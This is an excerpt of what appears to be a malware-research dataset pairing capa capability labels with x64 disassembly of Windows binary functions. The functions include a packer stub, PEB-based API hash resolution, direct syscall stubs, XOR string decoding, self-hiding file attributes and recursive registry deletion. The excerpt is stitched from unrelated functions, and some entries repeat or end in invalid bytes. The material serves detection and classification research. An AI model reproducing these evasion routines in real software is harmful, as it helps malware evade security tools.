joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000dec0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x210
mov rbx, rdx
mov rdi, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x70]
xor r14d, r14d
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000df37
cmp qword [rbx + 0x18], 0xf
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x44], 2
mov dword [rsp + 0x48], 1
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
jbe 0x14000df15
mov rbx, qword [rbx]
lea r9, [rsp + 0x240]
xor edx, edx
lea r8, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14000df55
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x140018c22]
mov rcx, rdi
call fcn.140003870
mov rax, rdi
add rsp, 0x210
pop r14
pop rdi
pop rbx
ret
mov rbx, qword [rsp + 0x240]
mov qword [rsp + 0x230], rbp
mov ebp, 0x16
mov qword [rsp + 0x238], rsi
test rbx, rbx
je 0x14000dfac
nop word [rax + rax]
mov rdx, qword [rbx + 0x20]
lea r8, [rsp + 0x28]
add rdx, 4
mov r9, rbp
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x14000df80
mov rbx, qword [rsp + 0x240]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
lea rax, [rsp + 0x28]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov rbx, 0xffffffffffffffff
mov qword [rdi + 0x18], r14
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000dfd5
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000e0c6
mov qword [rdi + 0x18], 0xf
cmp rbx, 0xf
ja 0x14000e01c
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], r14b
jmp 0x14000e0a7
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x14000e051
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140011f0c
test rax, rax
je 0x14000e073
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000e087
cmp rax, rbp
mov rsi, rax
cmovb rsi, rbp
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14000e07a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e0cc
jmp 0x14000e036
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000e087
call fcn.140011f0c
mov r14, rax
mov r8, rbx
mov qword [rdi], r14
lea rdx, [rsp + 0x28]
mov qword [rdi + 0x10], rbx
mov rcx, r14
mov qword [rdi + 0x18], rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
mov rbp, qword [rsp + 0x230]
mov rax, rdi
mov rsi, qword [rsp + 0x238]
add rsp, 0x210
pop r14
pop rdi
pop rbx
ret
call fcn.1400031b0
int3
call fcn.140003110
int3
Function at 0x14000e0e0
Capabilities:
Set file attributes

Disassembly:
sub rsp, 0x258
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 3
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x14000e12f
lea rdx, [0x140018c80]
lea rcx, [rsp + 0x20]
call fcn.140003870
mov rcx, rax
call fcn.14000d080
add rsp, 0x258
ret
mov qword [rsp + 0x250], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov ebx, eax
call fcn.14000f0e0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000f2b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rbx, qword [rsp + 0x250]
add rsp, 0x258
ret

Function at 0x14000e520
Capabilities:
Enumerate process modules

Disassembly:
push rdi
mov eax, 0x1240
call fcn.140012b80
sub rsp, rax
mov rdi, rcx
lea r8, [rsp + 0x1258]
lea rcx, [rsp + 0x230]
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14000e55a
add rsp, 0x1240
pop rdi
ret
mov eax, dword [rsp + 0x1258]
mov qword [rsp + 0x1260], rbp
xor ebp, ebp
shr eax, 2
test eax, eax
je 0x14000e61b
mov qword [rsp + 0x1250], rbx
lea rbx, [rsp + 0x230]
mov qword [rsp + 0x1238], rsi
mov qword [rsp + 0x1230], r14
mov r14d, eax
nop dword [rax]
mov r8d, dword [rbx]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000e5f9
mov r9d, 0x104
lea r8, [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000e5f0
cmp qword [rdi + 0x18], 7
mov rdx, rdi
jbe 0x14000e5df
mov rdx, qword [rdi]
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000e5f0
inc ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub r14, 1
jne 0x14000e5a0
mov r14, qword [rsp + 0x1230]
mov rsi, qword [rsp + 0x1238]
mov rbx, qword [rsp + 0x1250]
mov eax, ebp
mov rbp, qword [rsp + 0x1260]
add rsp, 0x1240
pop rdi
ret

Function at 0x1400119b0
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 0x14
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x1400119c0
mov byte [rcx + 0x18], r10b
ret
Function at 0x140011a10
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
lea rax, [rcx + 4]
nop word [rax + rax]
movzx r8d, byte [rax + rdx]
mov r9d, dword [rcx]
add r9b, dl
xor r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
cmp rdx, 0x11
jb 0x140011a20
mov byte [rcx + 0x15], 0
ret

Function at 0x140011a40
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
lea rax, [rcx + 4]
nop word [rax + rax]
movzx r8d, byte [rax + rdx]
mov r9d, dword [rcx]
add r9b, dl
xor r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
cmp rdx, 0xc
jb 0x140011a50
mov byte [rcx + 0x10], 0
ret

Function at 0x140011a70
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 0xa
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x140011a80
mov byte [rcx + 0xe], r10b
ret

Function at 0x140011aa0
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
lea rax, [rcx + 4]
nop word [rax + rax]
movzx r8d, byte [rax + rdx]
mov r9d, dword [rcx]
add r9b, dl
xor r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
cmp rdx, 0x12
jb 0x140011ab0
mov byte [rcx + 0x16], 0
ret

Function at 0x140011b30
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
lea rax, [rcx + 4]
nop word [rax + rax]
movzx r8d, byte [rax + rdx]
mov r9d, dword [rcx]
add r9b, dl
xor r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
cmp rdx, 0x2f
jb 0x140011b40
mov byte [rcx + 0x33], 0
ret

Function at 0x140011c50
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 7
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x140011c60
mov byte [rcx + 0xb], r10b
ret

Function at 0x140011c80
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
lea rax, [rcx + 4]
nop word [rax + rax]
movzx r8d, byte [rax + rdx]
mov r9d, dword [rcx]
add r9b, dl
xor r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
cmp rdx, 0x29
jb 0x140011c90
mov byte [rcx + 0x2d], 0
ret

Function at 0x140011cb0
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 0x29
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x140011cc0
mov byte [rcx + 0x2d], r10b
ret

Function at 0x140011d10
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 0x30
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x140011d20
mov byte [rcx + 0x34], r10b
ret

Function at 0x140011d40
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r10d, 0x11
mov rdx, rax
nop dword [rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
mov r9d, dword [rcx]
xor r9b, r8b
mov byte [rdx - 1], r9b
sub r10, 1
jne 0x140011d50
mov byte [rcx + 0x15], r10b
ret
Function at 0x140011da0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, r9
mov rdi, r8
mov rsi, rcx
mov ecx, 0x20
call fcn.140011f0c
mov rdx, qword [rsp + 0x60]
mov qword [rax], rdx
mov rdx, qword [rbx]
mov qword [rax + 8], rdx
mov rdx, qword [rdi]
mov qword [rax + 0x10], rdx
lea rcx, [0x140006830]
mov qword [rax + 0x18], rcx
mov qword [rsp + 0x48], rax
lea rbx, [rsi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140011e60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsi], rax
test rax, rax
je 0x140011e2a
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140012860
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400128aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400128aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400128aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400128aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400128aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400128ac
xor al, al
add rsp, 0x28
ret
Function at 0x140032370
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003237d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003238d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140032375
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x1400323a5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140032392
sub eax, 3
jb 0x1400323bf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400323f6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400323e6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400323e4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400323d3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140032332
jmp 0x14003237d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x17400
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140032442
cmp rsi, rcx
jae 0x14003244a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140032429
cmp al, 0x8f
ja 0x140032429
cmp byte [rsi - 2], 0xf
je 0x14003242f
sub al, 0xe8
cmp al, 1
ja 0x140032413
cmp rsi, rcx
jae 0x14003244a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140032419
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003244a
lodsb al, byte [rsi]
jmp 0x140032429
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2f000]
mov eax, dword [rdi]
or eax, eax
je 0x1400324b3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x38f14]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140032457
jns 0x14003248c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140032496
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400324ad
mov qword [rbx], rax
add rbx, 8
jmp 0x140032477
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400324ed
cmp al, 0xef
ja 0x1400324df
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400324bf
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400324ce
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140032541
sub rsp, 0xffffffffffffff80
jmp 0x1400174a0
Function at 0x140062100
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x1400c56a0], 0
jne 0x1400622e0
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x1400622ea
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x14006216e
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14006216e
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x14006217a
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140062131
test rdx, rdx
je 0x1400622ea
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x1400c56a0]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x140062233
xor r11d, r11d
mov r10d, 0x3b69adfd
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x1400621f0
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x140062237
test ebx, ebx
jne 0x1400621d0
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x1400c56a0], r8d
test eax, eax
je 0x1400622d2
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x1400622c8
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x1400622b9
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x1400c56a0]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x140062270
inc edx
lea eax, [r8 - 1]
cmp edx, eax
jb 0x140062260
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x140062940
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x98d3b37
call fcn.140062300
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140063180
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xf943331
call fcn.140062300
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140065180
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x9888d67e
call fcn.140062300
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1400033e0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14000340e
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140004a30
cmp byte [0x140029170], 0
jne 0x140003459
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003449
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140029168], rax
mov byte [0x140029170], 1
jmp 0x140003460
mov rax, qword [0x140029168]
mov byte [0x140029170], 1
jmp 0x140003460
mov rax, qword [0x140029168]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000347f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140004aa4
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x140004abf
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x140004abf
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x140004abf
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov eax, 1
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
jg case.0x140004abf.0
ror sil, 1
insb byte [rdi], dx
invalid
Function at 0x1400047a0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor ebp, ebp
mov rsi, rdx
mov qword [rsp + 0x40], rbp
xor eax, eax
mov qword [rsp + 0x50], rbp
mov r8, rdx
mov qword [rsp + 0x48], rax
mov rdx, qword [rcx]
mov rdi, rcx
or r9d, 0x2001f
mov dword [rsp + 0x48], ebp
lea rcx, [rsp + 0x40]
call fcn.140004240
mov ebx, eax
test eax, eax
jne 0x1400048b7
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140004891
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.1400047a0
mov ebx, eax
test eax, eax
jne 0x1400048b7
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140004840
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400048a6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov dword [rsp + 0x48], ebp
mov rcx, rdi
call fcn.1400033e0
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400048c7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140007c00
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004a30
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14000340e
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140004a30
cmp byte [0x140029170], 0
jne 0x140003459
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003449
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140029168], rax
mov byte [0x140029170], 1
jmp 0x140003460
mov rax, qword [0x140029168]
mov byte [0x140029170], 1
jmp 0x140003460
mov rax, qword [0x140029168]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000347f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140004aa4
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x140004abf
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x140004abf
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x140004abf
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov eax, 1
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
jg case.0x140004abf.0
ror sil, 1
insb byte [rdi], dx
invalid